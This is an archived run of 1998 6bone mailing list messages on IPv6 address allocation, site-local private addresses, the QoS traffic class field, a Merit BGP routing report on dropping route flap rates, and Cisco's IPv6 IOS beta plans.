> So, when/if ipv6 completely replaces ipv4 will my local ISP give me more
> than 1 ip address?  Currently with ipv4 the majority of ISPs give one ip
> address to the computer dialing in.  Why would this change for ipv6?  I

Because that one IP address actually is a /64. You can put a whole lot of
hosts behind that, just use a decent access router.

The problem of the ISP charging more for more addresses, on the assumption
that more hosts are going to generate more traffic, isn't going to go away,
however, and they still can filter out all but one EID unless they agree
not to. But that's not an IPv6 issue.
> 
> It seems to me that having a set of ip address that are defined to not be
> valid internet address so everyone knows they are free to use them on local
> computers is necessary no matter how big your address space is.
> 
Uh, yes, but there already are such addresses in IPv6.

-- 
Matthias Urlichs
noris network GmbH

From 6bone-owner  Mon May 18 22:53:54 1998
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Date: Tue, 19 May 1998 00:53:31 -0500
From: David Fries <dfries@mail.win.org>
To: Matthias Urlichs <smurf@noris.de>
Cc: "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: Re: IPv6 Question
References: <356030C4.554EEA33@cmg.nl> <3560578A.9C89B7CD@hursley.ibm.com> <19980518200937.46766@AeroSpace> <19980519074125.02414@noris.de>
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On Tue, May 19, 1998 at 07:41:25AM +0200, Matthias Urlichs wrote:
> > It seems to me that having a set of ip address that are defined to not be
> > valid internet address so everyone knows they are free to use them on local
> > computers is necessary no matter how big your address space is.
> > 
> Uh, yes, but there already are such addresses in IPv6.

Good, the way the dicussion was going before it sounded as if it didn't.
If it has a equivalent of 192.168.* and 10.* then I have no further
arguments.

-- 
		+---------------------------------+
		|      David Fries                |
		|      dfries@mail.win.org        |
		+---------------------------------+

From 6bone-owner  Mon May 18 22:58:01 1998
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Date: Mon, 18 May 1998 22:57:33 -0700
To: mikec@twiddle.com
From: Steve Deering <deering@cisco.com>
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At 7:56 AM -0700 5/18/98, Mike Crawfurd wrote:
> IPv6 has a very large address space, but it doesn't solve the problem
> for running out of private address space... Converting your entire
> network to IPv6 requires for at least an A-net, and I don't know how
> many addresses are supplied to companies...

Are you asking about global space or private space?  The proposed global
unicast address plan allocates a 16-bit subnet field plus a 64-bit host
(actually, interface) field to every customer site.  That's way bigger
than an IPv4 Class A network number.  The straightforward use of site-local
addresses would use the same amount of private addresses space (16+64),
but if you want the hassle of maintaining and routing different subnet
numbering plans for private address and global addresses, you can use up
to 54 bits to number your private subnets.  And if you want to give up
stateless autoconfiguration, you can have even more bits by cutting into
the interface ID field.  In other words, there's no problem of inadequate
private address space in IPv6.

> Private space was always a good security option, by using private space
> addresses the hosts were not directly reachable, with right
> configuration an excellent security feature.

Most customers using private addresses also use NATs or proxies or some
other means of allowing some internal machines to communicate to external
machines.  Thus, the lack of a global address does not prevent an
external machine from communicating with an internal machine.  Rather,
it is the careful configuration of who can talk to whom that achieves
whatever security is achieved, not the use of private addresses.

> Is the security so advance and so sure of itself to dare and make every
> host reachable for the outside world ?

If Internet telephony really takes off, this idea that only a small number
of machines in an organization need be reachable by the outside world will
probably pass away.

Steve



From 6bone-owner  Mon May 18 23:22:01 1998
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From: Steve Deering <deering@cisco.com>
Subject: Re: IPv6 Question
Cc: Brian E Carpenter <brian@hursley.ibm.com>, "6bone@ISI.EDU" <6bone@ISI.EDU>
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At 6:09 PM -0700 5/18/98, David Fries wrote:
> So, when/if ipv6 completely replaces ipv4 will my local ISP give me more
> than 1 ip address?

It is the intent that ISPs should assign 2^80 (!) addresses (16-bit SLA field
plus 64-bit interface ID field) to *each* of their customers, *including*
residential customers.  IPv6 is designed to support the existence of many
subnets within a home, with plug-and-play, stateless address allocation for
many, many devices (appliances, TV & stereo components, sensors and
actuators of many kinds, children and pets,...)

Now, there may well be ISPs who refuse to go along with that intent, but
they will not be able to use lack of address space as a reason.  And it
would be a good reason to look for a different ISP.

> Some of the ISPs don't allocate a static ip address just so customers can't
> use the dialup as a server and only pay as a regular user.

Well that's a beaut!  Anyway, I hope and expect that the distortions of
the "dial-up" model will eventually go away, as the newer "Always On"
access technologies (cable, xDSL, whatever) catch on.  One of the things
that will help them catch on will be marketing promises of full-time
Internet connectivity and more stable addresses, which are clearly features
that appeal to customers.

> It seems to me that having a set of ip address that are defined to not be
> valid internet address so everyone knows they are free to use them on local
> computers is necessary no matter how big your address space is.

IPv6 does have lots of those kinds of addresses too (the site-local
addresses).

Steve



From 6bone-owner  Tue May 19 00:44:42 1998
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To: 6bone@ISI.EDU
Subject: RE: IPv6 Question
Date: Tue, 19 May 1998 08:46:34 +0100
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I might be thinking along the wrong lines, but wouldn't it be very easy to
define an other address range for this? Shurely we got quit a few left. All
that is used is the 5f and the 3f range.

Marc Mosthav



From 6bone-owner  Tue May 19 02:32:22 1998
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Date: Tue, 19 May 1998 11:32:13 +0200 (MET DST)
From: Jon Arne Hegge <jonheg@ifi.uio.no>
To: 6Bone@ISI.EDU
Subject: IPv6 and QoS?
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Hey,

I'm working on a masters thesis in University of Oslo, and I'm 
wondering if anyone have a link or document describing how to 
use the support for QoS in IPv6? Spesifically how to set the 
flow-label field and the class-field. Or is this up to the TCP/IP 
stack? I have been looking at Winsock 2, because this project will be
based on NT, and it contains support for some types of real-time traffic
and multimedia transfer.


The question is basically if the IPv6 spec. incorporates some standard for
setting the values in these fields(flow-label & class-field)?
Or maybe its an RFC I have missed..:) ?(RFC1363 comes to mind)

If this is off topic here, I apologize.

Greetings,
Jon Arne
|tlf:22 23 67 57 - *Jon Arne Hegge* - mob: 90 78 52 48|
|Email:jonheg@ifi.uio.no|URL:http://www.ifi.uio.no/~jonheg|
--===> Wherever you are, there you are <===--


From 6bone-owner  Tue May 19 03:25:43 1998
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Date: Tue, 19 May 1998 12:25:28 +0200 (MET DST)
From: Ariel Sabiguero <asabigue@nada.kth.se>
To: David Fries <dfries@mail.win.org>
cc: "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: Re: IPv6 Question
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Ok, 010/8 network is other IANA network for "Private Use". You can
see both 

     http://www.isi.edu/in-notes/iana/assignments/ipv4-address-space
and
     ftp://ftp.isi.edu/in-notes/rfc1466.txt

for more detailed info.

Regards

Ariel

On Tue, 19 May 1998, David Fries wrote:

> On Tue, May 19, 1998 at 07:41:25AM +0200, Matthias Urlichs wrote:
> > > It seems to me that having a set of ip address that are defined to not be
> > > valid internet address so everyone knows they are free to use them on local
> > > computers is necessary no matter how big your address space is.
> > > 
> > Uh, yes, but there already are such addresses in IPv6.
> 
> Good, the way the dicussion was going before it sounded as if it didn't.
> If it has a equivalent of 192.168.* and 10.* then I have no further
> arguments.
> 
> -- 
> 		+---------------------------------+
> 		|      David Fries                |
> 		|      dfries@mail.win.org        |
> 		+---------------------------------+
> 

-----------------------------------------------------------
Ing. Ariel Sabiguero Yawelak        Centro de Calculo
    asabigue@fing.edu.uy          Facultad de Ingenieria
                             Herrera y Reissig 565/5to.piso
                                 CP 11300 - Montevideo
                                      U R U G U A Y
"Guess there are still a few bugs in it"
                           Bill Gates - apr/98 - Win98 demo
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


From 6bone-owner  Tue May 19 07:24:04 1998
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Date: Tue, 19 May 1998 07:16:00 -0700
To: 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: flap rate drop - 05/18/98 6Bone Routing Report (from Merit)
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Someone must be doing something right to reduce the 6bone flap rate. Today's routing report for the 18th shows the least Announcement/Withdraw rate yet: 3861/150.

Least you think I exagerate, look at the reports for the last 8 days:

May 17-46135/22059 
May 16-153132/73394
May 15-154237/74892 
May 14-143464/69092 
May 13-97585/51533 
May 12-112330/61222 
May 11-77148/48238 
May 10-113953/92209 

And before this there were days in he millions of announcments!

Anyone know what's going on?  Or is this just the natual evolution of folks moving to more compatible BGP4+ versions?


Bob

===================================================================
See http://www.merit.edu/ipma for a more detailed report on routing 
problems and recommendations on ways service providers can limit the 
spread of invalid routing information.
Send comments and questions to ipma-support@merit.edu

To unsubscribe from this list, send mail to 
    6bone-routing-report-request@merit.edu.
A hypermail archive is available at
    http://www.merit.net/mail.archives/html/6bone-routing-report/

Also see http://www.caida.org for more information about Internet 
statistics collection research efforts.

---------------------------------------------
This report is for 05/18/98, peering with
  VIAGENIE (AS10566)  CISCO (AS109)  CICNET (AS1225)  WIDE (AS2500)  TELEBIT (AS3263)
---------------------------------------------

Size of 6Bone Routing Table:
	Max = 90, Min = 20, Average = 75
	40 Unique Autonomous System (AS) numbers

BGP4+ Traffic Summary:  
	Announcements = 3861    Withdraws = 150   Unique Routes = 71

Non-6Bone Prefixes (outside of 3ffe::/16):
--------------------------------
  5f00:4700::/32 path 109 (CISCO)
  5f00:6d00::/32 path 109 (CISCO)
  5f01:7800::/32 path 109 1225 (CICNET)
  5f02:ad00:8ca0::/64 path 109 (CISCO)
  5f04:c500:cb26:1100::/64 path 109 (CISCO)
  5f0d:e900:ce9c:9400::/64 path 109 1225 (CICNET)
  5f0f:8800::/32 path 109 (CISCO)
  5f10:8800::/32 path 109 (CISCO)
  5f11:d000:cca2:e400::/64 path 109 (CISCO)

Poorly Aggregated Prefixes (>24):
--------------------------------
  MERIT (3ffe:1c00::/24) had 9 route(s)
    3ffe:1c00::/64 path   (?)
    3ffe:1c00::/48 path   (?)
    3ffe:1c01::/48 path   (?)
    3ffe:1c02::/48 path   (?)
    3ffe:1c03::/48 path   (?)
    3ffe:1cfa::/48 path   (?)
    3ffe:1cff::/48 path   (?)
    3ffe:1cf9::/48 path   (?)
    3ffe:1cf8::/48 path   (?)

  CISCO (3ffe:c00::/24) had 4 route(s)
    3ffe:c00:e:b::1/128 path 2500 237 (MERIT)
    3ffe:c00:8004:1::/80 path 109 8176 ()
    3ffe:c00:8009::/48 path 109 302 (BCM)
    3ffe:c00:8004::/48 path 109 8176 ()

  UUNET-UK (3ffe:1100::/24) had 3 route(s)
    3ffe:1100:0:cc03::/64 path 1225 1103 293 (ESNET)
    3ffe:1100:0:c01::/64 path 109 48 1752 (BT-LABS)
    3ffe:1108:40a::/48 path 1225 1103 1835 1273 5539 (SPACENET)

  CICNET (3ffe:900::/24) had 2 route(s)
    3ffe:900:0:3::1/128 path 2500 237 (MERIT)
    3ffe:900:1::/48 path 109 1225 1312 (LORE/VT)

  JANET (3ffe:2100::/24) had 2 route(s)
    3ffe:2101:0:ffff::2/127 path 109 48 1752 (BT-LABS)
    3ffe:2101::/48 path 109 48 1752 3185 (ULANC)

  ESNET (3ffe:700::/24) had 2 route(s)
    3ffe:710:20::/48 path 1225 1103 293 2505 (KEK)
    3ffe:7a0:20::/48 path 1225 1103 293 50 ()

  INFN-CNAF (3ffe:2300::/24) had 2 route(s)
    3ffe:23ff::/32 path 109 1849 1835 1717 137 8253 (DUTHNET)
    3ffe:23f0::/28 path 109 1849 5623 559 137 8253 (DUTHNET)

  WIDE (3ffe:500::/24) had 2 route(s)
    3ffe:500::1/128 path 2500 237 (MERIT)
    3ffe:501:811:2::/64 path 2500 65533 ()

  CSELT (3ffe:1000::/24) had 1 route(s)
    3ffe:1001:1:ffff::1/126 path 1225 1103 293 (ESNET)

  TELEBIT (3ffe:100::/24) had 1 route(s)
    3ffe:100:1:2::5/128 path 2500 237 (MERIT)


  ANSNET (3ffe:d00::/24) had 1 route(s)
    3ffe:dfe:fffe::8/126 path 2500 237 (MERIT)

  VBNS (3ffe:2800::/24) had 1 route(s)
    3ffe:2800:2::/48 path 109 1225 1312 (LORE/VT)

  SURFNET (3ffe:600::/24) had 1 route(s)
    3ffe:608:1::/48 path 109 1225 (CICNET)

  UO (3ffe:1500::/24) had 1 route(s)
    3ffe:1500:fffe::d/128 path 2500 237 (MERIT)

  NRL (3ffe:f00::/24) had 1 route(s)
    3ffe:f01:0:ffff::7/127 path 109 48 1752 (BT-LABS)

  UNI-C (3ffe:1400::/24) had 1 route(s)
    3ffe:1402:1:1::/64 path 109 1849 5539 1273 (ECRC)

  SMS (3ffe:2600::/24) had 1 route(s)
    3ffe:2610:4::/48 path 109 1849 5539 3274 1741 (OTOL)

The Top Five Most Active Prefixes:
----------------------------------
1. G6 (3ffe:300::/24) had 1823 BGP+ updates (26 unique aspaths)
  1225 5609 5623 1717 (319)
  1225 1849 5623 559 1717 (288)
  109 1225 5609 5623 1717 (288)
  109 1849 5623 559 1717 (288)
  2500 33 5609 5623 1717 (199)
  2500 109 1849 5623 559 1717 (188)
  2500 109 1225 5609 5623 1717 (165)
  2500 109 1225 1103 1275 1717 (19)
  1225 1103 1717 (18)
  1225 1103 1835 1717 (11)
  2500 237 1225 1103 1717 (9)
  ...Truncated...

2. STUBA (3ffe:2200::/24) had 141 BGP+ updates (57 unique aspaths)
  109 1849 1103 2607 (9)
  2500 109 1849 1103 2607 (9)
  1225 1849 1103 2607 (8)
  2500 109 1849 2607 (8)
  1225 1103 2607 (7)
  2500 109 1225 1103 2607 (7)
  109 1225 1103 2607 (6)
  109 1225 1849 2607 (5)
  109 1849 2607 (5)
  1225 1849 2607 (4)
  2500 109 1225 1849 2607 (4)
  ...Truncated...

3. DUTHNET (3ffe:23ff::/32) had 109 BGP+ updates (31 unique aspaths)
  2500 109 1849 5623 559 137 8253 (11)
  109 1849 5623 559 137 8253 (8)
  1225 1849 5623 559 137 8253 (7)
  2500 109 1225 1103 1717 137 8253 (5)
  1225 1849 1103 1717 1835 2839 5623 559 137 8253 (4)
  1225 1849 786 1717 1835 2839 5623 559 137 8253 (4)
  109 1225 1849 1103 1717 1835 2839 5623 559 137 8253 (4)
  109 1225 1103 1717 137 8253 (4)
  109 1225 1849 786 1717 1835 2839 5623 559 137 8253 (4)
  109 1849 786 1717 1835 2839 5623 559 137 8253 (4)
  109 1849 1103 1717 1835 2839 5623 559 137 8253 (4)
  ...Truncated...

4. NUS-IRDU (3ffe:1600::/24) had 64 BGP+ updates (20 unique aspaths)
  2500 109 7610 (11)
  1225 109 7610 (8)
  109 7610 (7)
  2500 33 109 7610 (5)
  2500 33 1849 109 7610 (3)
  1225 5609 1849 109 7610 (3)
  2500 237 109 7610 (2)
  2500 237 1225 109 7610 (2)
  1225 48 109 7610 (2)
  2500 33 5609 1225 109 7610 (2)
  1225 5609 5623 1849 109 7610 (1)
  ...Truncated...

5. UIO (3ffe:2a00::/24) had 63 BGP+ updates (26 unique aspaths)
  2500 33 5609 2839 (11)
  1225 1103 2839 (8)
  109 1225 1103 2839 (5)
  109 1849 1835 2839 (4)
  1225 1849 1835 2839 (4)
  2500 109 1225 1103 2839 (3)
  109 1849 1103 2839 (3)
  109 1849 2839 (2)
  2500 237 1225 1849 1835 2839 (2)
  2500 109 1849 2839 (2)
  1225 1849 2839 (2)
  ...Truncated...


From 6bone-owner  Tue May 19 07:48:32 1998
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Date: Tue, 19 May 1998 07:31:43 -0700
To: Robert Szarka <szarka@downcity.net>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: IPv6 Question (about Cisco IOS for IPv6)
Cc: 6bone@ISI.EDU
In-Reply-To: <Version.32.19980518221410.040c7cc0@mail.downcity.net>
References: <3560578A.9C89B7CD@hursley.ibm.com>
 <356030C4.554EEA33@cmg.nl>
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Robert,

At 10:21 PM 5/18/98 -0400, Robert Szarka wrote:
...
>...and, as long as I'm already sending a message to list...  I sent email to
>someone at Cisco quite a while ago asking what I needed to participate in the
>6bone with my Cisco routers.  No reply.  :(  Can anyone point me to more info?

I have been in touch with Cisco this week and their intentions are as follows:

====
IPv6 is targetted for the 12.0T mainline release but it is not decided yet which maintenance window it will be in, i.e. 12.0(1, 2, 3, 4 etc.)T, pending BGP4+ integration results.  This release is not likely to occur until late this year.

Given this situation, Cisco plans on putting links to the IOS Beta version up on the Cisco IPv6 pages so that anybody who's interested in running IPv6 on Cisco gear and connecting to the 6bone can pull down the appropriate image. 

That way Cisco makes it more available than with the current mechanism where Cisco customers have to officially apply via 
EFT/Beta paperwork ...
====

I am trying to get more details on this from Cisco, and this list will know as soon as I do.  I intend to also (finally) put the info on the 6bone web pages so it's easier for the newcomer to the 6bone.

So...stay tuned.


Thanks,

Bob


From 6bone-owner  Tue May 19 07:49:31 1998
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Date: Tue, 19 May 1998 15:50:50 +0100
From: Brian E Carpenter <brian@hursley.ibm.com>
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To: Jon Arne Hegge <jonheg@ifi.uio.no>
Cc: 6Bone@ISI.EDU
Subject: Re: IPv6 and QoS?
References: <Pine.SUN.3.96.980519112330.28519A-100000@maud.ifi.uio.no>
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Hi,

The traffic class field is being defined by the diffserv working
group: http://www.ietf.org/html.charters/diffserv-charter.html

  Brian Carpenter

Jon Arne Hegge wrote:
> 
> Hey,
> 
> I'm working on a masters thesis in University of Oslo, and I'm
> wondering if anyone have a link or document describing how to
> use the support for QoS in IPv6? Spesifically how to set the
> flow-label field and the class-field. Or is this up to the TCP/IP
> stack? I have been looking at Winsock 2, because this project will be
> based on NT, and it contains support for some types of real-time traffic
> and multimedia transfer.
> 
> The question is basically if the IPv6 spec. incorporates some standard for
> setting the values in these fields(flow-label & class-field)?
> Or maybe its an RFC I have missed..:) ?(RFC1363 comes to mind)
> 
> If this is off topic here, I apologize.
> 
> Greetings,
> Jon Arne
> |tlf:22 23 67 57 - *Jon Arne Hegge* - mob: 90 78 52 48|
> |Email:jonheg@ifi.uio.no|URL:http://www.ifi.uio.no/~jonheg|
> --===> Wherever you are, there you are <===--

From 6bone-owner  Tue May 19 08:16:16 1998
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Date: Tue, 19 May 1998 07:49:26 -0700
To: Jon Arne Hegge <jonheg@ifi.uio.no>
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: IPv6 and QoS?
Cc: 6Bone@ISI.EDU
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Jon,

At 11:32 AM 5/19/98 +0200, Jon Arne Hegge wrote:
>Hey,
>
>I'm working on a masters thesis in University of Oslo, and I'm 
>wondering if anyone have a link or document describing how to 
>use the support for QoS in IPv6? Spesifically how to set the 
>flow-label field and the class-field. Or is this up to the TCP/IP 
>stack? I have been looking at Winsock 2, because this project will be
>based on NT, and it contains support for some types of real-time traffic
>and multimedia transfer.
>
>The question is basically if the IPv6 spec. incorporates some standard for
>setting the values in these fields(flow-label & class-field)?
>Or maybe its an RFC I have missed..:) ?(RFC1363 comes to mind)

At the moment I don't believe there are any standards for the IPv6 Traffic Class and Flow Label field.

The basic presumption now in use for the IPv6 Traffic Class field is that it will follow work on the IPv4 TOS field.  This is why there is now a full 8-bits in the recently created Traffic Class field as opposed to the now defunct 4-bit Priority field.

The current IPv6 spec talks about this as follows:

>7.  Traffic Classes

>   The 8-bit Traffic Class field in the IPv6 header is available for use
>   by originating nodes and/or forwarding routers to identify and
>   distinguish between different classes or priorities of IPv6 packets.
>   At the point in time at which this specification is being written,
>   there are a number of experiments underway in the use of the IPv4
>   Type of Service and/or Precedence bits to provide various forms of
>   "differentiated service" for IP packets, other than through the use
>   of explicit flow set-up.  The Traffic Class field in the IPv6 header
>   is intended to allow similar functionality to be supported in IPv6.
>   It is hoped that those experiments will eventually lead to agreement
>   on what sorts of traffic classifications are most useful for IP
>   packets.  Detailed definitions of the syntax and semantics of all or
>   some of the IPv6 Traffic Class bits, whether experimental or intended
>   for eventual standardization, are to be provided in separate   documents.

>   The following general requirements apply to the Traffic Class field:

>      o  The service interface to the IPv6 service within a node must
>         provide a means for an upper-layer protocol to supply the value
>         of the Traffic Class bits in packets originated by that upper-
>         layer protocol.  The default value must be zero for all 8 bits.

>      o  Nodes that support a specific (experimental or eventual
>         standard) use of some or all of the Traffic Class bits are
>         permitted to change the value of those bits in packets that
>         they originate, forward, or receive, as required for that
>         specific use.  Nodes should ignore and leave unchanged any bits
>         of the Traffic Class field for which they do not support a
>         specific use.

>      o  An upper-layer protocol must not assume that the value of the
>         Traffic Class bits in a received packet are the same as the
>         value sent by the packet's source.

So the real place to learn what's going on with these bits is the new IETF Diffserv working group:

	http://www.ietf.org/html.charters/diffserv-charter.html


>If this is off topic here, I apologize.

Sending to the IPng list is the right place on protocol questions/topics (ipng@sunroof.eng.sun.com).


Thanks,

Bob

From 6bone-owner  Tue May 19 09:25:25 1998
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From: "Buclin, Bertrand" <Bertrand.Buclin@ch.att.com>
To: "'Bob Fink'" <rlfink@lbl.gov>, 6bone@ISI.EDU
Subject: RE: flap rate drop - 05/18/98 6Bone Routing Report (from Merit)
Date: Tue, 19 May 1998 18:24:58 +0200
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Maybe it could come from U Oregon (pTLA 3ffe:1500::/24)? Until today, they
were leaking a lot of poorly aggregated prefixes (consistently reported in
the Merit report), and today they appear to be off the air...

/Bertrand

> -----Original Message-----
> From: Bob Fink [mailto:rlfink@lbl.gov]
> Sent: Tuesday, May 19, 1998 4:16 PM
> To: 6bone@ISI.EDU
> Subject: flap rate drop - 05/18/98 6Bone Routing Report (from Merit)
> 
> 
> Someone must be doing something right to reduce the 6bone 
> flap rate. Today's routing report for the 18th shows the 
> least Announcement/Withdraw rate yet: 3861/150.
> 
> Least you think I exagerate, look at the reports for the last 8 days:
> 
> May 17-46135/22059 
> May 16-153132/73394
> May 15-154237/74892 
> May 14-143464/69092 
> May 13-97585/51533 
> May 12-112330/61222 
> May 11-77148/48238 
> May 10-113953/92209 
> 
> And before this there were days in he millions of announcments!
> 
> Anyone know what's going on?  Or is this just the natual 
> evolution of folks moving to more compatible BGP4+ versions?
> 
> 
> Bob
> 
> ===================================================================
> See http://www.merit.edu/ipma for a more detailed report on routing 
> problems and recommendations on ways service providers can limit the 
> spread of invalid routing information.
> Send comments and questions to ipma-support@merit.edu
> 
> To unsubscribe from this list, send mail to 
>     6bone-routing-report-request@merit.edu.
> A hypermail archive is available at
>     http://www.merit.net/mail.archives/html/6bone-routing-report/
> 
> Also see http://www.caida.org for more information about Internet 
> statistics collection research efforts.
> 
> ---------------------------------------------
> This report is for 05/18/98, peering with
>   VIAGENIE (AS10566)  CISCO (AS109)  CICNET (AS1225)  WIDE 
> (AS2500)  TELEBIT (AS3263)
> ---------------------------------------------
> 
> Size of 6Bone Routing Table:
> 	Max = 90, Min = 20, Average = 75
> 	40 Unique Autonomous System (AS) numbers
> 
> BGP4+ Traffic Summary:  
> 	Announcements = 3861    Withdraws = 150   Unique Routes = 71
> 
> Non-6Bone Prefixes (outside of 3ffe::/16):
> --------------------------------
>   5f00:4700::/32 path 109 (CISCO)
>   5f00:6d00::/32 path 109 (CISCO)
>   5f01:7800::/32 path 109 1225 (CICNET)
>   5f02:ad00:8ca0::/64 path 109 (CISCO)
>   5f04:c500:cb26:1100::/64 path 109 (CISCO)
>   5f0d:e900:ce9c:9400::/64 path 109 1225 (CICNET)
>   5f0f:8800::/32 path 109 (CISCO)
>   5f10:8800::/32 path 109 (CISCO)
>   5f11:d000:cca2:e400::/64 path 109 (CISCO)
> 
> Poorly Aggregated Prefixes (>24):
> --------------------------------
>   MERIT (3ffe:1c00::/24) had 9 route(s)
>     3ffe:1c00::/64 path   (?)
>     3ffe:1c00::/48 path   (?)
>     3ffe:1c01::/48 path   (?)
>     3ffe:1c02::/48 path   (?)
>     3ffe:1c03::/48 path   (?)
>     3ffe:1cfa::/48 path   (?)
>     3ffe:1cff::/48 path   (?)
>     3ffe:1cf9::/48 path   (?)
>     3ffe:1cf8::/48 path   (?)
> 
>   CISCO (3ffe:c00::/24) had 4 route(s)
>     3ffe:c00:e:b::1/128 path 2500 237 (MERIT)
>     3ffe:c00:8004:1::/80 path 109 8176 ()
>     3ffe:c00:8009::/48 path 109 302 (BCM)
>     3ffe:c00:8004::/48 path 109 8176 ()
> 
>   UUNET-UK (3ffe:1100::/24) had 3 route(s)
>     3ffe:1100:0:cc03::/64 path 1225 1103 293 (ESNET)
>     3ffe:1100:0:c01::/64 path 109 48 1752 (BT-LABS)
>     3ffe:1108:40a::/48 path 1225 1103 1835 1273 5539 (SPACENET)
> 
>   CICNET (3ffe:900::/24) had 2 route(s)
>     3ffe:900:0:3::1/128 path 2500 237 (MERIT)
>     3ffe:900:1::/48 path 109 1225 1312 (LORE/VT)
> 
>   JANET (3ffe:2100::/24) had 2 route(s)
>     3ffe:2101:0:ffff::2/127 path 109 48 1752 (BT-LABS)
>     3ffe:2101::/48 path 109 48 1752 3185 (ULANC)
> 
>   ESNET (3ffe:700::/24) had 2 route(s)
>     3ffe:710:20::/48 path 1225 1103 293 2505 (KEK)
>     3ffe:7a0:20::/48 path 1225 1103 293 50 ()
> 
>   INFN-CNAF (3ffe:2300::/24) had 2 route(s)
>     3ffe:23ff::/32 path 109 1849 1835 1717 137 8253 (DUTHNET)
>     3ffe:23f0::/28 path 109 1849 5623 559 137 8253 (DUTHNET)
> 
>   WIDE (3ffe:500::/24) had 2 route(s)
>     3ffe:500::1/128 path 2500 237 (MERIT)
>     3ffe:501:811:2::/64 path 2500 65533 ()
> 
>   CSELT (3ffe:1000::/24) had 1 route(s)
>     3ffe:1001:1:ffff::1/126 path 1225 1103 293 (ESNET)
> 
>   TELEBIT (3ffe:100::/24) had 1 route(s)
>     3ffe:100:1:2::5/128 path 2500 237 (MERIT)
> 
> 
>   ANSNET (3ffe:d00::/24) had 1 route(s)
>     3ffe:dfe:fffe::8/126 path 2500 237 (MERIT)
> 
>   VBNS (3ffe:2800::/24) had 1 route(s)
>     3ffe:2800:2::/48 path 109 1225 1312 (LORE/VT)
> 
>   SURFNET (3ffe:600::/24) had 1 route(s)
>     3ffe:608:1::/48 path 109 1225 (CICNET)
> 
>   UO (3ffe:1500::/24) had 1 route(s)
>     3ffe:1500:fffe::d/128 path 2500 237 (MERIT)
> 
>   NRL (3ffe:f00::/24) had 1 route(s)
>     3ffe:f01:0:ffff::7/127 path 109 48 1752 (BT-LABS)
> 
>   UNI-C (3ffe:1400::/24) had 1 route(s)
>     3ffe:1402:1:1::/64 path 109 1849 5539 1273 (ECRC)
> 
>   SMS (3ffe:2600::/24) had 1 route(s)
>     3ffe:2610:4::/48 path 109 1849 5539 3274 1741 (OTOL)
> 
> The Top Five Most Active Prefixes:
> ----------------------------------
> 1. G6 (3ffe:300::/24) had 1823 BGP+ updates (26 unique aspaths)
>   1225 5609 5623 1717 (319)
>   1225 1849 5623 559 1717 (288)
>   109 1225 5609 5623 1717 (288)
>   109 1849 5623 559 1717 (288)
>   2500 33 5609 5623 1717 (199)
>   2500 109 1849 5623 559 1717 (188)
>   2500 109 1225 5609 5623 1717 (165)
>   2500 109 1225 1103 1275 1717 (19)
>   1225 1103 1717 (18)
>   1225 1103 1835 1717 (11)
>   2500 237 1225 1103 1717 (9)
>   ...Truncated...
> 
> 2. STUBA (3ffe:2200::/24) had 141 BGP+ updates (57 unique aspaths)
>   109 1849 1103 2607 (9)
>   2500 109 1849 1103 2607 (9)
>   1225 1849 1103 2607 (8)
>   2500 109 1849 2607 (8)
>   1225 1103 2607 (7)
>   2500 109 1225 1103 2607 (7)
>   109 1225 1103 2607 (6)
>   109 1225 1849 2607 (5)
>   109 1849 2607 (5)
>   1225 1849 2607 (4)
>   2500 109 1225 1849 2607 (4)
>   ...Truncated...
> 
> 3. DUTHNET (3ffe:23ff::/32) had 109 BGP+ updates (31 unique aspaths)
>   2500 109 1849 5623 559 137 8253 (11)
>   109 1849 5623 559 137 8253 (8)
>   1225 1849 5623 559 137 8253 (7)
>   2500 109 1225 1103 1717 137 8253 (5)
>   1225 1849 1103 1717 1835 2839 5623 559 137 8253 (4)
>   1225 1849 786 1717 1835 2839 5623 559 137 8253 (4)
>   109 1225 1849 1103 1717 1835 2839 5623 559 137 8253 (4)
>   109 1225 1103 1717 137 8253 (4)
>   109 1225 1849 786 1717 1835 2839 5623 559 137 8253 (4)
>   109 1849 786 1717 1835 2839 5623 559 137 8253 (4)
>   109 1849 1103 1717 1835 2839 5623 559 137 8253 (4)
>   ...Truncated...
> 
> 4. NUS-IRDU (3ffe:1600::/24) had 64 BGP+ updates (20 unique aspaths)
>   2500 109 7610 (11)
>   1225 109 7610 (8)
>   109 7610 (7)
>   2500 33 109 7610 (5)
>   2500 33 1849 109 7610 (3)
>   1225 5609 1849 109 7610 (3)
>   2500 237 109 7610 (2)
>   2500 237 1225 109 7610 (2)
>   1225 48 109 7610 (2)
>   2500 33 5609 1225 109 7610 (2)
>   1225 5609 5623 1849 109 7610 (1)
>   ...Truncated...
> 
> 5. UIO (3ffe:2a00::/24) had 63 BGP+ updates (26 unique aspaths)
>   2500 33 5609 2839 (11)
>   1225 1103 2839 (8)
>   109 1225 1103 2839 (5)
>   109 1849 1835 2839 (4)
>   1225 1849 1835 2839 (4)
>   2500 109 1225 1103 2839 (3)
>   109 1849 1103 2839 (3)
>   109 1849 2839 (2)
>   2500 237 1225 1849 1835 2839 (2)
>   2500 109 1849 2839 (2)
>   1225 1849 2839 (2)
>   ...Truncated...
> 
> 
> 

From 6bone-owner  Tue May 19 14:04:51 1998
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Date: Tue, 19 May 1998 17:08:58 -0400
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From: Robert Szarka <szarka@downcity.net>
Subject: Re: IPv6 Question
In-Reply-To: <v03110700b186c6174a95@[171.69.199.124]>
References: <Version.32.19980518221410.040c7cc0@mail.downcity.net>
 <3560578A.9C89B7CD@hursley.ibm.com>
 <356030C4.554EEA33@cmg.nl>
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At 01:34 AM 5/19/98 , you wrote:
>At 7:21 PM -0700 5/18/98, Robert Szarka wrote:
>> Using private IP space does not in itself guarantee security, of course,
>> but I am as surprised as Mike to hear that it doesn't not exist in IPv6.
>
>IPv6 *does* have private address space: the link-local and site-local unicast
>addresses.  You can use site-local addresses exactly like IPv4's net 10, if
>you wish.

Ahh..  glad to hear it.  Perhaps I got the wrong impression from an earlier
message, then.

>The point that others have been making is that IPv6 has enough global
>addresses that customers need not be forced to use private address space
>for lack of sufficient global address space.  If they have other reasons
>to want to do so, then IPv6 has what they want.

Right.  It was those other reasons I was interested in...  Yes, as someone
else
pointed out, the "non-routability" of the private space depends on the ISP in
fact not routing them, but, in my case, *I* am the ISP and it makes my
customers sleep a little better at night...  :)

Robert Szarka
Managing Partner, Operations
DownCity, LLC
+1 860 823 3000

